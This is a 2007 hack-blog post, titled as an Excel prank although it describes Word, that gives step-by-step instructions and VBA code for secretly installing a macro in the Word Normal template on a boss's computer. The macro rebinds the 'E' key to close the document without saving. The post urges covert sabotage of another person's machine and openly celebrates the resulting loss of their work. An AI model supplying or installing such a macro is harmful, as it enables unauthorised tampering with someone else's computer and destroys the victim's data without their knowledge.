DIY HACK – PRANK on your boss’s Microsoft Excel if you don’t like him

by max on Friday, December 7th, 2007

Joe from HackNMod sent this hack where you can automatically close Microsoft Word when you victim type ‘E’. Just don’t blame me if you get fired. If you do get fired, you can start making whole bunch of paid wikis like me.

Check out the directions here:

What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document (Remember to re type all quotations)

Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub

Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

via HackNMod

Rate

1 Star2 Stars3 Stars4 Stars5 Stars
Loading ... Loading ...

ad ad
ad ad


20,000 GPS POI's $9.99

Related News and Resources

Other Interesting News From Our Friends

  • Anurag
    that did n't work in my desktop, which had XP- pro and Microsoft office 2003...........

    any body if fouind the correct working .....of the code then pls let me know...............>??
blog comments powered by Disqus
If you like this post then please subscribe to my full feed RSS.

You can also subscribe by E-mail by filling out your name and E-mail below:

Name: Email:


Got a new hack, DIY, howto, or gadget? Tip us here.

Try Goohack to find a new Hack:


Featured Sites From Zedomax Blog Network